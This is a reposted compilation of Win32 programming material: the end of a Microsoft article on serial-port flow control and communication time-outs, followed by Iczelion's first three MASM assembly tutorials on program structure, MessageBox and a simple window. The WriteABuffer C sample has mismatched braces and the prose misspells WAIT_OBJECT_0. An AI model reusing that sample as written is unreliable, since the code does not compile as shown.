Software flow control uses data in the communications stream to control the transmission and reception of data. Because software flow control uses two special characters, XOFF and XON, binary transfers cannot use software flow control; the XON or XOFF character may appear in the binary data and would interfere with data transfer. Software flow control befits text-based communications or data being transferred that does not contain the XON and XOFF characters.

In order to enable software flow control, the fOutX and fInX members of the DCB must be set to TRUE. The fOutX member controls output flow control. The fInX member controls input flow control.

One thing to note is that the DCB allows the program to dynamically assign the values the system recognizes as flow-control characters. The XoffChar member of the DCB dictates the XOFF character for both input and output flow control. The XonChar member of the DCB similarly dictates the XON character.

For input flow control, the XoffLim member of the DCB specifies the minimum amount of free space allowed in the input buffer before the XOFF character is sent. If the amount of free space in the input buffer drops below this amount, then the XOFF character is sent. For input flow control, the XonLim member of the DCB specifies the minimum number of bytes allowed in the input buffer before the XON character is sent. If the amount of data in the input buffer drops below this value, then the XON character is sent.

Table 4 lists the behavior of the DTE when using XOFF/XON flow control.

Table 4. Software flow-control behavior

Flow-control character | Behavior
XOFF received by DTE | DTE transmission is suspended until XON is received. DTE reception continues. The fOutX member of the DCB controls this behavior.
XON received by DTE | If DTE transmission is suspended because of a previous XOFF character being received, DTE transmission is resumed. The fOutX member of the DCB controls this behavior.
XOFF sent from DTE | XOFF is automatically sent by the DTE when the receive buffer approaches full. The actual limit is dictated by the XoffLim member of the DCB. The fInX member of the DCB controls this behavior. DTE transmission is controlled by the fTXContinueOnXoff member of the DCB as described below.
XON sent from the DTE | XON is automatically sent by the DTE when the receive buffer approaches empty. The actual limit is dictated by the XonLim member of the DCB. The fInX member of the DCB controls this behavior.

If software flow control is enabled for input control, then the fTXContinueOnXoff member of the DCB takes effect. The fTXContinueOnXoff member controls whether transmission is suspended after the XOFF character is automatically sent by the system. If fTXContinueOnXoff is TRUE, then transmission continues after the XOFF is sent when the receive buffer is full. If fTXContinueOnXoff is FALSE, then transmission is suspended until the system automatically sends the XON character. DCE devices using software flow control will suspend their sending after the XOFF character is received. Some equipment will resume sending when the XON character is sent by the DTE. On the other hand, some DCE devices will resume sending after any character arrives. The fTXContinueOnXoff member should be set to FALSE when communicating with a DCE device that resumes sending after any character arrives. If the DTE continued transmission after it automatically sent the XOFF, the resumption of transmission would cause the DCE to continue sending, defeating the XOFF.

There is no mechanism available in the Win32 API to cause the DTE to behave the same way as these devices. The DCB structure contains no members for specifying suspended transmission to resume when any character is received. The XON character is the only character that causes transmission to resume.

One other interesting note about software flow control is that reception of XON and XOFF characters causes pending read operations to complete with zero bytes read. The XON and XOFF characters cannot be read by the application, since they are not placed in the input buffer.

A lot of programs on the market, including the Terminal program that comes with Windows, give the user three choices for flow control: Hardware, Software, or None. The Windows operating system itself does not limit an application in this way. The settings of the DCB allow for Software and Hardware flow control simultaneously. In fact, it is possible to separately configure each member of the DCB that affects flow control, which allows for several different flow-control configurations. The limits placed on flow-control choices are there for ease-of-use reasons to reduce confusion for end users. The limits placed on flow-control choices may also be because devices used for communications may not support all types of flow control.

Communications Time-outs

Another major topic affecting the behavior of read and write operations is time-outs. Time-outs affect read and write operations in the following way. If an operation takes longer than the computed time-out period, the operation is completed. There is no error code that is returned by ReadFile, WriteFile, GetOverlappedResult, or WaitForSingleObject. All indicators used to monitor the operation indicate that it completed successfully. The only way to tell that the operation timed out is that the number of bytes actually transferred are fewer than the number of bytes requested. So, if ReadFile returns TRUE, but fewer bytes were read than were requested, the operation timed out. If an overlapped write operation times out, the overlapped event handle is signaled and WaitForSingleObject returns WAIT_OBJECT_O. GetOverlappedResult returns TRUE, but dwBytesTransferred contains the number of bytes that were transferred before the time-out. The following code demonstrates how to handle this in an overlapped write operation:

BOOL WriteABuffer(char * lpBuf, DWORD dwToWrite)
{
   OVERLAPPED osWrite = {0};
   DWORD dwWritten;
   DWORD dwRes;
   BOOL  fRes;

   // Create this write operation's OVERLAPPED structure hEvent.
   osWrite.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   if (osWrite.hEvent == NULL)
      // Error creating overlapped event handle.
      return FALSE;

   // Issue write
   if (!WriteFile(hComm, lpBuf, dwToWrite, &dwWritten, &osWrite)) {
      if (GetLastError() != ERROR_IO_PENDING) {
         // WriteFile failed, but it isn't delayed. Report error.
         fRes = FALSE;
      }
      else
         // Write is pending.
         dwRes = WaitForSingleObject(osWrite.hEvent, INFINITE);
         switch(dwRes)
         {
            // Overlapped event has been signaled.
            case WAIT_OBJECT_0:
                 if (!GetOverlappedResult(hComm, &osWrite, &dwWritten, FALSE))
                       fRes = FALSE;
                 else {
                  if (dwWritten != dwToWrite) {
                     // The write operation timed out. I now need to
                     // decide if I want to abort or retry. If I retry,
                     // I need to send only the bytes that weren't sent.
                     // If I want to abort, I would just set fRes to
                     // FALSE and return.
                     fRes = FALSE;
                  }
                  else
                     // Write operation completed successfully.
                     fRes = TRUE;
                }
                 break;

            default:
                 // An error has occurred in WaitForSingleObject. This usually
                // indicates a problem with the overlapped event handle.
                 fRes = FALSE;
                 break;
         }
      }
   }
   else {
      // WriteFile completed immediately.

      if (dwWritten != dwToWrite) {
          // The write operation timed out. I now need to
          // decide if I want to abort or retry. If I retry,
          // I need to send only the bytes that weren't sent.
          // If I want to abort, then I would just set fRes to
          // FALSE and return.
          fRes = FALSE;
      }
      else
          fRes = TRUE;
   }

   CloseHandle(osWrite.hEvent);
   return fRes;
}

The SetCommTimeouts function specifies the communications time-outs for a port. To retrieve the current time-outs for a port, a program calls the GetCommTimeouts function. An applications should retrieve the communications time-outs before modifying them. This allows the application to set time-outs back to their original settings when it finishes with the port. Following is an example of setting new time-outs using SetCommTimeouts:

COMMTIMEOUTS timeouts;

timeouts.ReadIntervalTimeout = 20;
timeouts.ReadTotalTimeoutMultiplier = 10;
timeouts.ReadTotalTimeoutConstant = 100;
timeouts.WriteTotalTimeoutMultiplier = 10;
timeouts.WriteTotalTimeoutConstant = 100;

if (!SetCommTimeouts(hComm, &timeouts))
   // Error setting time-outs.

Note Once again, communications time-outs are not the same as time-out values supplied in synchronization functions. WaitForSingleObject, for instance, uses a time-out value to wait for an object to become signaled; this is not the same as a communications time-out.

Setting the members of the COMMTIMEOUTS structure to all zeros causes no time-outs to occur. Nonoverlapped operations will block until all the requested bytes are transferred. The ReadFile function is blocked until all the requested characters arrive at the port. The WriteFile function is blocked until all requested characters are sent out. On the other hand, an overlapped operation will not finish until all the characters are transferred or the operation is aborted. The following conditions occur until the operation is completed:

  • WaitForSingleObject always returns WAIT_TIMEOUT if a synchronization time-out is supplied. WaitForSingleObject will block forever if an INFINITE synchronization time-out is used.

  • GetOverlappedResult always returns FALSE and GetLastError returns ERROR_IO_INCOMPLETE if called directly after the call to GetOverlappedResult.

Setting the members of the COMMTIMEOUTS structure in the following manner causes read operations to complete immediately without waiting for any new data to arrive:

COMMTIMEOUTS timeouts;

timeouts.ReadIntervalTimeout = MAXDWORD;
timeouts.ReadTotalTimeoutMultiplier = 0;
timeouts.ReadTotalTimeoutConstant = 0;
timeouts.WriteTotalTimeoutMultiplier = 0;
timeouts.WriteTotalTimeoutConstant = 0;

if (!SetCommTimeouts(hComm, &timeouts))
   // Error setting time-outs.

These settings are necessary when used with an event-based read described in the “Caveat?section earlier. In order for ReadFile to return 0 bytes read, the ReadIntervalTimeout member of the COMMTIMEOUTS structure is set to MAXDWORD, and the ReadTimeoutMultiplier and ReadTimeoutConstant are both set to zero.

An application must always specifically set communications time-outs when it uses a communications port. The behavior of read and write operations is affected by communications time-outs. When a port is initially open, it uses default time-outs supplied by the driver or time-outs left over from a previous communications application. If an application assumes that time-outs are set a certain way, while the time-outs are actually different, then read and write operations may never complete or may complete too often.

Conclusion

This article serves as a discussion of some of the common pitfalls and questions that arise when developing a serial communications application. The Multithreaded TTY sample that comes with this article is designed using many of the techniques discussed here. Download it and try it out. Learning how it works will provide a thorough understanding of the Win32 serial communications functions.

Bibliography

Brain, Marshall. Win32 System Services: The Heart of Windows NT. Englewood Cliffs, NJ: Prentice Hall, 1994.

Campbell, Joe. C Programmer’s Guide to Serial Communications. 2d ed. Indianapolis, IN: Howard W. Sams & Company, 1994.

Mirho, Charles, and Andy Terrice. “Create Communications Programs for Windows 95 with the Win32 Comm API.?Microsoft Systems Journal 12 (December 1994). (MSDN Library, Books and Periodicals)

Send feedback on this article. Find support options.

© 2000 Microsoft Corporation. All rights reserved. Terms of use.

LuoYunBin's Win32 ASM Page,http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 1: The Basics

This tutorial assumes that the reader knows how to use MASM. If you're not familiar with MASM, download win32asm.exe and study the text inside the package before going on with the tutorial. Good. You're now ready. Let's go!

Theory:

Win32 programs run in protected mode which is available since 80286. But 80286 is now history. So we only have to concern ourselves with 80386 and its descendants. Windows runs each Win32 program in separated virtual space. That means each Win32 program will have its own 4 GB address space. However, this doesn't mean every win32 program has 4GB of physical memory, only that the program can address any address in that range. Windows will do anything necessary to make the memory the program references valid. Of course, the program must adhere to the rules set by Windows, else it will cause the dreaded General Protection Fault. Each program is alone in its address space. This is in contrast to the situation in Win16. All Win16 programs can *see* each other. Not so under Win32. This feature helps reduce the chance of one program writing over other program's code/data.
Memory model is also drastically different from the old days of the 16-bit world. Under Win32, we need not be concerned with memory model or segments anymore! There's only one memory model: Flat memory model. There's no more 64K segments. The memory is a large continuous space of 4 GB. That also means you don't have to play with segment registers. You can use any segment register to address any point in the memory space. That's a GREAT help to programmers. This is what makes Win32 assembly programming as easy as C.
When you program under Win32, you must know some important rules. One such rule is that, Windows uses esi, edi, ebp and ebx internally and it doesn't expect the values in those registers to change. So remember this rule first: if you use any of those four registers in your callback function, don't ever forget to restore them before returning control to Windows. A callback function is your own function which is called by Windows. The obvious example is the windows procedure. This doesn't mean that you cannot use those four registers, you can. Just be sure to restore them back before passing control back to Windows.

Content:

Here's the skeleton program. If you don't understand some of the codes, don't panic. I'll explain each of them later.

.386
.MODEL Flat, STDCALL
.DATA
<Your initialized data>
......
.DATA?
<Your uninitialized data>
......
.CONST
<Your constants>
......
.CODE
<label>
<Your code>
.....
end <label>

That's all! Let's analyze this skeleton program.

.386
This is an assembler directive, telling the assembler to use 80386 instruction set. You can also use .486, .586 but the safest bet is to stick to .386. There are actually two nearly identical forms for each CPU model. .386/.386p, .486/.486p. Those "p" versions are necessary only when your program uses privileged instructions. Privileged instructions are the instructions reserved by the CPU/operating system when in protected mode. They can only be used by privileged code, such as the virtual device drivers. Most of the time, your program will work in non-privileged mode so it's safe to use non-p versions.

.MODEL FLAT, STDCALL
.MODEL is an assembler directive that specifies memory model of your program. Under Win32, there's only on model, FLAT model.
STDCALL tells MASM about parameter passing convention. Parameter passing convention specifies the order of parameter passing, left-to-right or right-to-left, and also who will balance the stack frame after the function call.
Under Win16, there are two types of calling convention, C and PASCAL
C calling convention passes parameters from right to left, that is , the rightmost parameter is pushed first. The caller is responsible for balancing the stack frame after the call. For example, in order to call a function named foo(int first_param, int second_param, int third_param) in C calling convention the asm codes will look like this:

push [third_param] ; Push the third parameter
push [second_param] ; Followed by the second
push [first_param] ; And the first
call foo
add sp, 12 ; The caller balances the stack frame
PASCAL calling convention is the reverse of C calling convention. It passes parameters from left to right and the callee is responsible for the stack balancing after the call.
Win16 adopts PASCAL convention because it produces smaller codes. C convention is useful when you don't know how many parameters will be passed to the function as in the case of wsprintf(). In the case of wsprintf(), the function has no way to determine beforehand how many parameters will be pushed on the stack, so it cannot do the stack balancing.
STDCALL is the hybrid of C and PASCAL convention. It passes parameter from right to left but the callee is responsible for stack balancing after the call.Win32 platform use STDCALL exclusively. Except in one case: wsprintf(). You must use C calling convention with wsprintf().

.DATA
.DATA?
.CONST
.CODE
All four directives are what's called section. You don't have segments in Win32, remember? But you can divide your entire address space into logical sections. The start of one section denotes the end of the previous section. There'are two groups of section: data and code. Data sections are divided into 3 categories:

  • .DATA This section contains initialized data of your program.
  • .DATA? This section contains uninitialized data of your program. Sometimes you just want to preallocate some memory but don't want to initialize it. This section is for that purpose. The advantage of uninitialized data is: it doesn't take space in the executable file. For example, if you allocate 10,000 bytes in your .DATA? section, your executable is not bloated up 10,000 bytes. Its size stays much the same. You only tell the assembler how much space you need when the program is loaded into memory, that's all.
  • .CONST This section contains declaration of constants used by your program. Constants in this section can never be modified in your program. They are just *constant*.

You don't have to use all three sections in your program. Declare only the section(s) you want to use.

There's only one section for code: .CODE. This is where your codes reside.
<label>
end <label>
where <label> is any arbitrary label is used to specify the extent of your code. Both labels must be identical. All your codes must reside between <label> and end <label>

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 2: MessageBox

In this tutorial, we will create a fully functional Windows program that displays a message box saying "Win32 assembly is great!".

Download the example file here.

Theory:

Windows prepares a wealth of resources for Windows programs. Central to this is the Windows API (Application Programming Interface). Windows API is a huge collection of very useful functions that reside in Windows itself, ready for use by any Windows programs. These functions are stored in several dynamic-linked libraries (DLLs) such as kernel32.dll, user32.dll and gdi32.dll. Kernel32.dll contains API functions that deal with memory and process management. User32.dll controls the user interface aspects of your program. Gdi32.dll is responsible for graphics operations. Other than "the main three", there are other DLLs that your program can use, provided you have enough information about the desired API functions.
Windows programs dynamically link to these DLLs, ie. the codes of API functions are not included in the Windows program executable file. In order for your program to know where to find the desired API functions at runtime, you have to embed that information into the executable file. The information is in import libraries. You must link your programs with the correct import libraries or they will not be able to locate API functions.
When a Windows program is loaded into memory, Windows reads the information stored in the program. That information includes the names of functions the program uses and the DLLs those functions reside in. When Windows finds such info in the program, it'll load the DLLs and perform function address fixups in the program so the calls will transfer control to the right function.
There are two categoriesof API functions: One for ANSI and the other for Unicode. The names of API functions for ANSI are postfixed with "A", eg. MessageBoxA. Those for Unicode are postfixed with "W" (for Wide Char, I think). Windows 95 natively supports ANSI and Windows NT Unicode.
We are usually familiar with ANSI strings, which are arrays of characters terminated by NULL. ANSI character is 1 byte in size. While ANSI code is sufficient for European languages, it cannot handle several oriental languages which have several thousands of unique characters. That's why UNICODE comes in. A UNICODE character is 2 bytes in size, making it possible to have 65536 unique characters in the strings.
But most of the time, you will use an include file which can determine and select the appropriate API functions for your platform. Just refer to API function names without the postfix.

Example:

I'll present the bare program skeleton below. We will flesh it out later.

.386
.model flat, stdcall
.data
.code
start:
end start

The execution starts from the first instruction immediately below the label specified after end directive. In the above skeleton, the execution will start at the first instruction immediately below start label. The execution will proceed instruction by instruction until some flow-control instructions such as jmp, jne, je, ret etc is found. Those instructions redirect the flow of execution to some other instructions. When the program needs to exit to Windows, it should call an API function, ExitProcess.

ExitProcess proto uExitCode:DWORD

The above line is called a function prototype. A function prototype defines the attributes of a function to the assembler/linker so it can do type-checking for you. The format of a function prototype is like this:

FunctionName PROTO [ParameterName]:DataType,[ParameterName]:DataType,...

In short, the name of the function followed by the keyword PROTO and then by the list of data types of the parameters,separated by commas. In the ExitProcess example above, it defines ExitProcess as a function which takes only one parameter of type DWORD. Functions prototypes are very useful when you use the high-level call syntax, invoke. You can think of invoke as a simple call with type-checking. For example, if you do:

call ExitProcess

without pushing a dword onto the stack, the assembler/linker will not be able to catch that error for you. You'll notice it later when your program crashes. But if you use:

invoke ExitProcess

The linker will inform you that you forgot to push a dword on the stack thus avoiding error. I recommend you use invoke instead of simple call. The syntax of invoke is as follows:

INVOKE expression [,arguments]

expression can be the name of a function or it can be a function pointer. The function parameters are separated by commas.

Most of function prototypes for API functions are kept in include files. If you use hutch's MASM32, they will be in MASM32/include folder. The include files have .inc extension and the function prototypes for functions in a DLL is stored in .inc file with the same name as the DLL. For example, ExitProcess is exported by kernel32.lib so the function prototype for ExitProcess is stored in kernel32.inc.
You can also create function prototypes for your own functions.
Throughout my examples, I'll use hutch's windows.inc which you can download from http://win32asm.cjb.net

Now back to ExitProcess, uExitCode parameter is the value you want the program to return to Windows after the program terminates. You can call ExitProcess like this:

invoke ExitProcess, 0

Put that line immediately below start label, you will get a win32 program which immediately exits to Windows, but it's a valid program nonetheless.

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
.code
start:
invoke ExitProcess,0
end start

option casemap:none tells MASM to make labels case-sensitive so ExitProcess and exitprocess are different. Note a new directive, include. This directive is followed by the name of a file you want to insert at the place the directive is. In the above example, when MASM processes the line include \masm32\include\windows.inc, it will open windows.inc which is in \MASM32\include folder and process the content of windows.inc as if you paste the content of windows.inc there. hutch's windows.inc contains definitions of constants and structures you need in win32 programming. It doesn't contain any function prototype. windows.inc is by no means comprehensive. hutch and I try to put as many constants and structures into it as possible but there are still many left to be included. It'll be constantly updated. Check out hutch's and my homepage for updates.
From windows.inc, your program got constant and structure definitions. Now for function prototypes, you need to include other include files. They are all stored in \masm32\include folder.

In our example above, we call a function exported by kernel32.dll, so we need to include the function prototypes from kernel32.dll. That file is kernel32.inc. If you open it with a text editor, you will see that it's full of function prototypes for kernel32.dll. If you don't include kernel32.inc, you can still call ExitProcess but only with simple call syntax. You won't be able to invoke the function. The point here is that: in order to invoke a function, you have to put its function prototype somewhere in the source code. In the above example, if you don't include kernel32.inc, you can define the function prototype for ExitProcess anywhere in the source code above the invoke command and it will work. The include files are there to save you the work of typing out the prototypes yourself so use them whenever you can.
Now we encounter a new directive, includelib. includelib doesn't work like include. It 's only a way to tell the assembler what import library your program uses. When the assembler sees an includelib directive, it puts a linker command into the object file so that the linker knows what import libraries your program needs to link with. You're not forced to use includelib though. You can specify the names of the import libraries in the command line of the linker but believe me, it's tedious and the command line can hold only 128 characters.

Now save the example under the name msgbox.asm. Assuming that ml.exe is in your path, assemble msgbox.asm with:

    ml /c /coff /Cp msgbox.asm
  • /c tells MASM to assemble only. Do not invoke link.exe. Most of the time, you would not want to call link.exe automatically since you may have to perform some other tasks prior to calling link.exe.

    • /coff tells MASM to create .obj file in COFF format. MASM uses a variation of COFF (Common Object File Format) which is used under Unix as its own object and executable file format.
    /Cp tells MASM to preserve case of user identifiers. If you use hutch's MASM32 package, you may put "option casemap:none" at the head of your source code, just below .model directive to achieve the same effect.
After you successfully assemble msgbox.asm, you will get msgbox.obj. msgbox.obj is an object file. An object file is only one step away from an executable file. It contains the instructions/data in binary form. What is lacking is some fixups of addresses by the linker.

Then go on with link:

    link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib msgbox.obj
/SUBSYSTEM:WINDOWS informs Link what sort of executable this program is
/LIBPATH:<path to import library> tells Link where the import libraries are. If you use MASM32, they will be in MASM32\lib folder.
Link reads in the object file and fixes it with addresses from the import libraries. When the process is finished you get msgbox.exe.

Now you get msgbox.exe. Go on, run it. You'll find that it does nothing. Well, we haven't put anything interesting into it yet. But it's a Windows program nonetheless. And look at its size! In my PC, it is 1,536 bytes.

Next we're going to put in a message box. Its function prototype is:

MessageBox PROTO hwnd:DWORD, lpText:DWORD, lpCaption:DWORD, uType:DWORD

hwnd is the handle to parent window. You can think of a handle as a number that represents the window you're referrring to. Its value is not important to you. You only remember that it represents the window. When you want to do anything with the window, you must refer to it by its handle.
lpText is a pointer to the text you want to display in the client area of the message box. A pointer is really an address of something. A pointer to text string==The address of that string.
lpCaption is a pointer to the caption of the message box
uType specifies the icon and the number and type of buttons on the message box
Let's modify msgbox.asm to include the message box.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data
MsgBoxCaption db "Iczelion Tutorial No.2",0
MsgBoxText db "Win32 Assembly is Great!",0

.code
start:
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
end start

Assemble and run it. You will see a message box displaying the text "Win32 Assembly is Great!".

Let's look again at the source code.
We define two zero-terminated strings in .data section. Remember that every ANSI string in Windows must be terminated by NULL (0 hexadecimal).
We use two constants, NULL and MB_OK. Those constants are documented in windows.inc. So you can refer to them by name instead of the values. This improves readability of your source code.
The addr operator is used to pass the address of a label to the function. It's valid only in the context of invoke directive. You can't use it to assign the address of a label to a register/variable, for example. You can use offset instead of addr in the above example. However, there are some differences between the two:

  1. addr cannot handle forward reference while offset can. For example, if the label is defined somewhere further in the source code than the invoke line, addr will not work.
    2. invoke MessageBox,NULL, addr MsgBoxText,addr MsgBoxCaption,MB_OK
    ......
    MsgBoxCaption db "Iczelion Tutorial No.2",0
    MsgBoxText db "Win32 Assembly is Great!",0
    MASM will report error. If you use offset instead of addr in the above code snippet, MASM will assemble it happily.
  2. addr can handle local variables while offset cannot. A local variable is only some reserved space in the stack. You will only know its address during runtime. offset is interpreted during assembly time by the assembler. So it's natural that offset won't work for local variables. addr is able to handle local variables because of the fact that the assembler checks first whether the variable referred to by addr is a global or local one. If it's a global variable, it puts the address of that variable into the object file. In this regard, it works like offset. If it's a local variable, it generates an instruction sequence like this before it actually calls the function:
    3. lea eax, LocalVar
    push eax

    Since lea can determine the address of a label at runtime, this works fine.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 3: A Simple Window

In this tutorial, we will build a Windows program that displays a fully functional window on the desktop.
Download the example file here

Theory:

Windows programs rely heavily on API functions for their GUI. This approach benefits both users and programmers. For users, they don't have to learn how to navigate the GUI of each new programs, the GUI of Windows programs are alike. For programmers, the GUI codes are already there,tested, and ready for use. The downside for programmers is the increased complexity involved. In order to create or manipulate any GUI objects such as windows, menu or icons, programmers must follow a strict recipe. But that can be overcome by modular programming or OOP paradigm.
I'll outline the steps required to create a window on the desktop below:
  1. Get the instance handle of your program (required)
  2. Get the command line (not required unless your program wants to process a command line)
  3. Register window class (required ,unless you use predefined window types, eg. MessageBox or a dialog box)
  4. Create the window (required)
  5. Show the window on the desktop (required unless you don't want to show the window immediately)
  6. Refresh the client area of the window
  7. Enter an infinite loop, checking for messages from Windows
  8. If messages arrive, they are processed by a specialized function that is responsible for the window
  9. Quit program if the user closes the window
As you can see, the structure of a Windows program is rather complex compared to a DOS program. But the world of Windows is drastically different from the world of DOS. Windows programs must be able to coexist peacefully with each other. They must follow stricter rules. You, as a programmer, must also be more strict with your programming style and habit.

Content:

Below is the source code of our simple window program. Before jumping into the gory details of Win32 ASM programming, I'll point out some fine points which will ease your programming.
  • You should put all Windows constants, structures and function prototypes in an include file and include it at the beginning of your .asm file. It'll save you a lot of effort and typo. Currently, the most complete include file for MASM is hutch's windows.inc which you can download from his page or my page. You can also define your own constants & structure definitions but you should put them into a separate include file.
  • Use includelib directive to specify the import library used in your program. For example, if your program calls MessageBox, you should put the line:
      • includelib user32.lib
    at the beginning of your .asm file. This directive tells MASM that your program will make uses of functions in that import library. If your program calls functions in more than one library, just add an includelib for each library you use. Using IncludeLib directive, you don't have to worry about import libraries at link time. You can use /LIBPATH linker switch to tell Link where all the libs are.
  • When declaring API function prototypes, structures, or constants in your include file, try to stick to the original names used in Windows include files, including case. This will save you a lot of headache when looking up some item in Win32 API reference.
  • Use makefile to automate your assembling process. This will save you a lot of typing.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib ; calls to functions in user32.lib and kernel32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA ; initialized data
ClassName db "SimpleWinClass",0 ; the name of our window class
AppName db "Our First Window",0 ; the name of our window

.DATA? ; Uninitialized data
hInstance HINSTANCE ? ; Instance handle of our program
CommandLine LPSTR ?
.CODE ; Here begins our code
start:
invoke GetModuleHandle, NULL ; get the instance handle of our program.
; Under Win32, hmodule==hinstance mov hInstance,eax
mov hInstance,eax
invoke GetCommandLine ; get the command line. You don't have to call this function IF
; your program doesn't process the command line.
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT ; call the main function
invoke ExitProcess, eax ; quit our program. The exit code is returned in eax from WinMain.

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX ; create local variables on stack
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX ; fill values in members of wc
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc ; register our window class
invoke CreateWindowEx,NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow ; display our window on desktop
invoke UpdateWindow, hwnd ; refresh the client area

.WHILE TRUE ; Enter message loop
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam ; return exit code in eax
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY ; if the user closes our window
invoke PostQuitMessage,NULL ; quit our application
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ; Default message processing
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analysis:

You may be taken aback that a simple Windows program requires so much coding. But most of those codes are just *template* codes that you can copy from one source code file to another. Or if you prefer, you could assemble some of these codes into a library to be used as prologue and epilogue codes. You can write only the codes in WinMain function. In fact, this is what C compilers do. They let you write WinMain codes without worrying about other housekeeping chores. The only catch is that you must have a function named WinMain else C compilers will not be able to combine your codes with the prologue and epilogue. You do not have such restriction with assembly language. You can use any function name instead of WinMain or no function at all.
Prepare yourself. This's going to be a long, long tutorial. Let's analyze this program to death!
    .386
    .model flat,stdcall
    option casemap:none

    WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib

The first three lines are "necessities". .386 tells MASM we intend to use 80386 instruction set in this program. .model flat,stdcall tells MASM that our program uses flat memory addressing model. Also we will use stdcall parameter passing convention as the default one in our program.
Next is the function prototype for WinMain. Since we will call WinMain later, we must define its function prototype first so that we will be able to invoke it.
We must include windows.inc at the beginning of the source code. It contains important structures and constants that are used by our program. The include file , windows.inc, is just a text file. You can open it with any text editor. Please note that windows.inc does not contain all structures, and constants (yet). hutch and I are working on it. You can add in new items if they are not in the file.
Our program calls API functions that reside in user32.dll (CreateWindowEx, RegisterWindowClassEx, for example) and kernel32.dll (ExitProcess), so we must link our program to those two import libraries. The next question : how can I know which import library should be linked to my program? The answer: You must know where the API functions called by your program reside. For example, if you call an API function in gdi32.dll, you must link with gdi32.lib.
This is the approach of MASM. TASM 's way of import library linking is much more simpler: just link to one and only one file: import32.lib.
    .DATA
    ClassName db "SimpleWinClass",0
    AppName db "Our First Window",0

    .DATA?
    hInstance HINSTANCE ?
    CommandLine LPSTR ?

Next are the "DATA" sections.
In .DATA, we declare two zero-terminated strings(ASCIIZ strings): ClassName which is the name of our window class and AppName which is the name of our window. Note that the two variables are initialized.
In .DATA?, two variables are declared: hInstance (instance handle of our program) and CommandLine (command line of our program). The unfamiliar data types, HINSTANCE and LPSTR, are really new names for DWORD. You can look them up in windows.inc. Note that all variables in .DATA? section are not initialized, that is, they don't have to hold any specific value on startup, but we want to reserve the space for future use.
    .CODE
    start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke GetCommandLine
    mov CommandLine,eax
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    .....
    end start
.CODE contains all your instructions. Your codes must reside between <starting label>: and end <starting label>. The name of the label is unimportant. You can name it anything you like so long as it is unique and doesn't violate the naming convention of MASM.
Our first instruction is the call to GetModuleHandle to retrieve the instance handle of our program. Under Win32, instance handle and module handle are one and the same. You can think of instance handle as the ID of your program. It is used as parameter to several API functions our program must call, so it's generally a good idea to retrieve it at the beginning of our program.
Note: Actually under win32, instance handle is the linear address of your program in memory.
Upon returning from a Win32 function, the function's return value, if any, can be found in eax. All other values are returned through variables passed in the function parameter list you defined for the call.
A Win32 function that you call will nearly always preserve the segment registers and the ebx, edi, esi and ebp registers. Conversely, ecx and edx are considered scratch registers and are always undefined upon return from a Win32 function.
Note: Don't expect the values of eax, ecx, edx to be preserved across API function calls.
The bottom line is that: when calling an API function, expects return value in eax. If any of your function will be called by Windows, you must also play by the rule: preserve and restore the values of the segment registers, ebx, edi, esi and ebp upon function return else your program will crash very shortly, this includes your window procedure and windows callback functions.
The GetCommandLine call is unnecessary if your program doesn't process a command line. In this example, I show you how to call it in case you need it in your program.
Next is the WinMain call. Here it receives four parameters: the instance handle of our program, the instance handle of the previous instance of our program, the command line and window state at first appearance. Under Win32, there's NO previous instance. Each program is alone in its address space, so the value of hPrevInst is always 0. This is a leftover from the day of Win16 when all instances of a program run in the same address space and an instance wants to know if it's the first instance. Under win16, if hPrevInst is NULL, then this instance is the first one.
Note: You don't have to declare the function name as WinMain. In fact, you have complete freedom in this regard. You don't have to use any WinMain-equivalent function at all. You can paste the codes inside WinMain function next to GetCommandLine and your program will still be able to function perfectly.
